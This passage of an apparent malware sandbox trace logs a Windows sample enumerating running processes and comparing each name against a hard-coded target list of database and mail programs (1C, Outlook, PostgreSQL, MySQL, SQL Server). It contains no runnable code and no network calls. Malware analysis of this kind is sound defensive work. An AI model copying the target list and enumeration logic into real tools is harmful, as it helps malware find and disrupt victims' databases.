cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0095.297] lstrlenW (lpString="csrss.exe") returned 9 [0095.297] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0095.297] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0095.297] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0095.297] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0095.297] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0095.297] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0095.297] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0095.297] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0095.298] lstrlenW (lpString="wininit.exe") returned 11 [0095.298] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0095.298] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0095.298] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0095.298] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0095.299] lstrlenW (lpString="csrss.exe") returned 9 [0095.299] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0095.299] lstrlenW (lpString="winlogon.exe") returned 12 [0095.300] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0095.300] lstrlenW (lpString="services.exe") returned 12 [0095.300] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0095.301] lstrlenW (lpString="lsass.exe") returned 9 [0095.301] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0095.301] lstrlenW (lpString="lsm.exe") returned 7 [0095.301] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.302] lstrlenW (lpString="svchost.exe") returned 11 [0095.302] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.303] lstrlenW (lpString="svchost.exe") returned 11 [0095.303] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.304] lstrlenW (lpString="svchost.exe") returned 11 [0095.304] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.304] lstrlenW (lpString="svchost.exe") returned 11 [0095.304] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.305] lstrlenW (lpString="svchost.exe") returned 11 [0095.305] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0095.306] lstrlenW (lpString="audiodg.exe") returned 11 [0095.306] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.307] lstrlenW (lpString="svchost.exe") returned 11 [0095.307] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.307] lstrlenW (lpString="svchost.exe") returned 11 [0095.307] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0095.308] lstrlenW (lpString="dwm.exe") returned 7 [0095.308] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0095.309] lstrlenW (lpString="explorer.exe") returned 12 [0095.309] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0095.309] lstrlenW (lpString="spoolsv.exe") returned 11 [0095.310] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.310] lstrlenW (lpString="svchost.exe") returned 11 [0095.310] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0095.311] lstrlenW (lpString="taskhost.exe") returned 12 [0095.311] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0095.653] lstrlenW (lpString="taskeng.exe") returned 11 [0095.654] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0095.684] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0095.684] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0095.685] lstrlenW (lpString="while damaged.exe") returned 17 [0095.685] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0095.685] lstrlenW (lpString="hosted_thee.exe") returned 15 [0095.685] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0095.689] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0095.690] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0095.690] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0095.690] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0095.692] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0095.692] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0095.692] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0095.692] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0095.693] lstrlenW (lpString="l_greene_go.exe") returned 15 [0095.693] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0095.694] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0095.694] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0095.695] lstrlenW (lpString="spots wm.exe") returned 12 [0095.695] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0095.696] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0095.696] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0095.697] lstrlenW (lpString="lp imagination.exe") returned 18 [0095.697] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0095.698] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0095.698] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0095.699] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0095.699] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0095.699] lstrlenW (lpString="voluntary teach.exe") returned 19 [0095.699] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0095.700] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0095.700] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0095.701] lstrlenW (lpString="jesse.exe") returned 9 [0095.701] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0095.702] lstrlenW (lpString="partners_format.exe") returned 19 [0095.702] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0095.702] lstrlenW (lpString="predict.exe") returned 11 [0095.702] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0095.703] lstrlenW (lpString="supervisor.exe") returned 14 [0095.703] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0095.704] lstrlenW (lpString="3dftp.exe") returned 9 [0095.704] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0095.705] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0095.705] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0095.705] lstrlenW (lpString="alftp.exe") returned 9 [0095.705] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0095.706] lstrlenW (lpString="barca.exe") returned 9 [0095.706] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0095.707] lstrlenW (lpString="bitkinex.exe") returned 12 [0095.707] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0095.707] lstrlenW (lpString="coreftp.exe") returned 11 [0095.708] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0095.708] lstrlenW (lpString="far.exe") returned 7 [0095.708] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0095.709] lstrlenW (lpString="filezilla.exe") returned 13 [0095.709] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0095.710] lstrlenW (lpString="flashfxp.exe") returned 12 [0095.710] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0095.710] lstrlenW (lpString="fling.exe") returned 9 [0095.710] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0095.711] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0095.711] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0095.712] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0095.712] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0095.713] lstrlenW (lpString="icq.exe") returned 7 [0095.713] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0095.781] lstrlenW (lpString="leechftp.exe") returned 12 [0095.781] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0095.783] lstrlenW (lpString="ncftp.exe") returned 9 [0095.783] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0095.784] lstrlenW (lpString="notepad.exe") returned 11 [0095.784] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0095.785] lstrlenW (lpString="operamail.exe") returned 13 [0095.786] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0095.787] lstrlenW (lpString="pidgin.exe") returned 10 [0095.787] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0095.788] lstrlenW (lpString="scriptftp.exe") returned 13 [0095.788] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0096.086] lstrlenW (lpString="skype.exe") returned 9 [0096.087] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0096.088] lstrlenW (lpString="smartftp.exe") returned 12 [0096.089] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0096.090] lstrlenW (lpString="thunderbird.exe") returned 15 [0096.090] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0096.091] lstrlenW (lpString="totalcmd.exe") returned 12 [0096.091] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0096.092] lstrlenW (lpString="trillian.exe") returned 12 [0096.093] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0096.094] lstrlenW (lpString="webdrive.exe") returned 12 [0096.094] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0096.094] lstrlenW (lpString="whatsapp.exe") returned 12 [0096.094] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0096.095] lstrlenW (lpString="winscp.exe") returned 10 [0096.095] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0096.096] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0096.096] Process32NextW 